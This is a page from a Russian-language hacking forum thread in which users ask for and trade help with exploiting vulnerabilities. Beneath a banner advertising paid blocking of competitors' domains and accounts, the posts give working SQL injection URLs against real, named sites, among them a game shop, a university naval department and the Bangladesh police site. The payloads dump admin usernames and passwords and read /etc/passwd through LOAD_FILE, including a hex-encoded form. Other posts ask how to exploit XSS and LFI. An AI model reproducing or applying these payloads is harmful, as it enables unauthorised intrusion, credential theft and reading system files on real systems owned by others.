УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 146 из 296

146

Опции темы

Поиск в этой теме

Опции просмотра

#1451

16.10.2016, 22:56

Bobrenz

Guest

Сообщений: n/a

Провел на форуме:
8228

Репутация: 0

Цитата:

Сообщение от BabaDook

BabaDook said:
↑
Через юнион и не будет

может подскажите как? я дальше сам буду ковырять

#1452

17.10.2016, 01:34

qqq1457

Guest

Сообщений: n/a

Провел на форуме:
8589

Репутация: 0

никогда не останавливайся на скули которая не выводится,если есть рядом другая более удобная

http://www.gamepowerbazaar.com//stor...N+SELECT+1,2,3

вывод увидишь

пример:

http://www.gamepowerbazaar.com//sto...1,2,TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLE S

фильтруются скобки походу ()

p.s.

.SpoilerTarget" type="button">Spoiler: или так
p.s. можно havi' ем ,то есть подставляешь все данные как на рисунке:

http://i67.tinypic.com/23wk64l.jpg

то есть получаем вывод через error base sql injection

затем уже ручками выводим логины+ пассы

http://www.gamepowerbazaar.com//sto...adminName,adminPassword+FROM+admins+limit+0, 1

1й админ

http://www.gamepowerbazaar.com//sto...adminName,adminPassword+FROM+admins+limit+1, 1

2й админ

админку не искал ,да и странные пароли админов

а вообще это "commersus shop" .они уязвимы

вот почитай как пароли расшифровать

http://downloads.securityfocus.com/v...ce_mult_exp.pl

вот.

#1453

17.10.2016, 21:51

bazaWT

Guest

Сообщений: n/a

Провел на форуме:
8469

Репутация: 1

Есть форма с ХSS в поле регистрации , но также есть токен , который не позволяет скопировать форму и юзать ее с хостинга . В таком случае никак не получится воспользоватся уязвимостю ? Или можно post переделать в get как то ?

#1454

18.10.2016, 16:25

Bobrenz

Guest

Сообщений: n/a

Провел на форуме:
8228

Репутация: 0

найдена дырка в http://www.gamers-forum.com/misc.php тип инъекции (post) воот с такими параметрами, vsa_send=Submit&amount=if(now()%3dsysdate()%2cslee p(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22X OR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&chooser=5&securitytoken=guest

пробовал через мап и хавидж, на большее пока меня не хватило, подскажите есликто знает, как с этим дальше бороться?

#1455

03.11.2016, 14:18

WallHack

Guest

Сообщений: n/a

Провел на форуме:
61136

Репутация: 32

Из-за Mod_Security не могу достоверно проверить, есть ли LFI

тут _ttp://kor.dk/musik/vespa/getid3/getid3.php

Exploit: _ttps://www.exploit-db.com/exploits/36664/

#1456

04.11.2016, 04:44

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

Провел на форуме:
23906

Репутация: -5

Как отфильтровать сайты в burpsuite? отображать только домен и его поддомены не зависимо от https/http

http://joxi.ru/GrqMLEyHQN0GLr

#1457

04.11.2016, 20:58

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

Провел на форуме:
961428

Репутация: 662

Отправить сообщение для DezMond™ с помощью ICQ

http://gwps.org/36.0.html?&action=showDetails&showid=72

Как раскрутить? как слепая тоже не крутиться(

Таблица be_users колонка usename

Немогу данные выковырять

#1458

05.11.2016, 11:45

BabaDook

Guest

Сообщений: n/a

Провел на форуме:
238786

Репутация: 40

Всем привет. Стыдно конечно спрашивать но всё же век живи, век учись

1 -

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.naval.iitkgp.ernet.in/menu.php?page=pagedisplay&id=mission%27+and+false+UnioN+SeLect+1,user(),3,4,5,6,7,8,9,10,11,12+--+-[/COLOR][/COLOR]

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.police.gov.bd/Police-activities.php?id=271%27+and+false+UnIoN+SeLecT+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16++--+-[/COLOR][/COLOR]

как прочитать файл

#1459

05.11.2016, 16:37

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

Провел на форуме:
961428

Репутация: 662

Цитата:

Сообщение от BabaDook

BabaDook said:
↑
Всем привет. Стыдно конечно спрашивать но всё же век живи, век учись
1 -

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.naval.iitkgp.ernet.in/menu.php?page=pagedisplay&id=mission%27+and+false+UnioN+SeLect+1,user(),3,4,5,6,7,8,9,10,11,12+--+-[/COLOR][/COLOR]

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.police.gov.bd/Police-activities.php?id=271%27+and+false+UnIoN+SeLecT+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16++--+-[/COLOR][/COLOR]

как прочитать файл

LOAD_FILE('/etc/passwd') вместо user()

#1460

05.11.2016, 16:52

qqq1457

Guest

Сообщений: n/a

Провел на форуме:
8589

Репутация: 0

Цитата:

Сообщение от BabaDook

BabaDook said:
↑
Всем привет. Стыдно конечно спрашивать но всё же век живи, век учись
1 -

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.naval.iitkgp.ernet.in/menu.php?page=pagedisplay&id=mission%27+and+false+UnioN+SeLect+1,user(),3,4,5,6,7,8,9,10,11,12+--+-[/COLOR][/COLOR]

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.police.gov.bd/Police-activities.php?id=271%27+and+false+UnIoN+SeLecT+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16++--+-[/COLOR][/COLOR]

как прочитать файл

1

http://www.naval.iitkgp.ernet.in/me...file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12--+

или

http://www.naval.iitkgp.ernet.in/me...74632F706173737764),3,4,5,6,7,8,9,10,11,12--+

где 0x2F6574632F706173737764= hex(/etc/passwd)

2

нет доступа к mysql.user то есть нет возможности прочитать файл,несмотря на то что пользователь root, root'ом не является